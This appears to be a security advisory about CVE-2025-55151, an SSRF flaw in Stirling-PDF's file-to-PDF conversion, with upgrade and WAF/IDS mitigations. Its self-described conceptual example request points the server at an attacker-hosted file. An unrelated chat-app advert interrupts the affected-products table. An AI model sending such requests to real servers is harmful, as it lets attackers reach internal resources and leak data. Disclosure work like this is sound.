Overview
The Server-Side Request Forgery (SSRF) vulnerability in Stirling-PDF, a locally-hosted web application for manipulating PDF files, has been a significant cause of concern for users and cybersecurity professionals. This vulnerability, identified as CVE-2025-55151, essentially affects all versions of Stirling-PDF prior to version 1.1.0. It exposes systems to potential compromise and data leakage, putting sensitive information at risk. This issue primarily affects the “convert file to pdf” functionality and is of critical importance due to its high CVSS severity score of 8.6.
Vulnerability Summary
CVE ID: CVE-2025-55151
Severity: High (CVSS 8.6)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise and data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
Stirling-PDF | Up to 1.0.9
How the Exploit Works
The SSRF vulnerability in Stirling-PDF arises from the “convert file to pdf” functionality that uses LibreOffice’s unoconvert tool for conversion. During the conversion process, a malicious actor can manipulate server-side requests to gain unauthorized access to resources that are otherwise inaccessible. This is achieved by inducing the server to make HTTP requests to an arbitrary domain of the attacker’s choosing or even to internal resources within the network hosting the application. The vulnerability allows an attacker to bypass access controls such as firewalls, which can lead to unauthorized access of data and potential system compromise.
Conceptual Example Code
Here’s a conceptual example of how the vulnerability might be exploited:
POST /api/v1/convert/file/pdf HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "file_url": "http://attacker.com/malicious_file.odt" }
In this scenario, the attacker could host a malicious file on their own server and use the “file_url” parameter in the API request to trick the Stirling-PDF server into downloading and converting it, thereby exploiting the SSRF vulnerability.
Mitigation and Recommendations
The most effective way to mitigate this vulnerability is to apply the vendor’s patch by updating to Stirling-PDF version 1.1.0 or later, which contains the fix for this issue. As an interim solution, you may also use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and prevent exploitation of this vulnerability. Regularly updating and patching software, as well as adhering to best practices in cybersecurity, can go a long way towards preventing such vulnerabilities.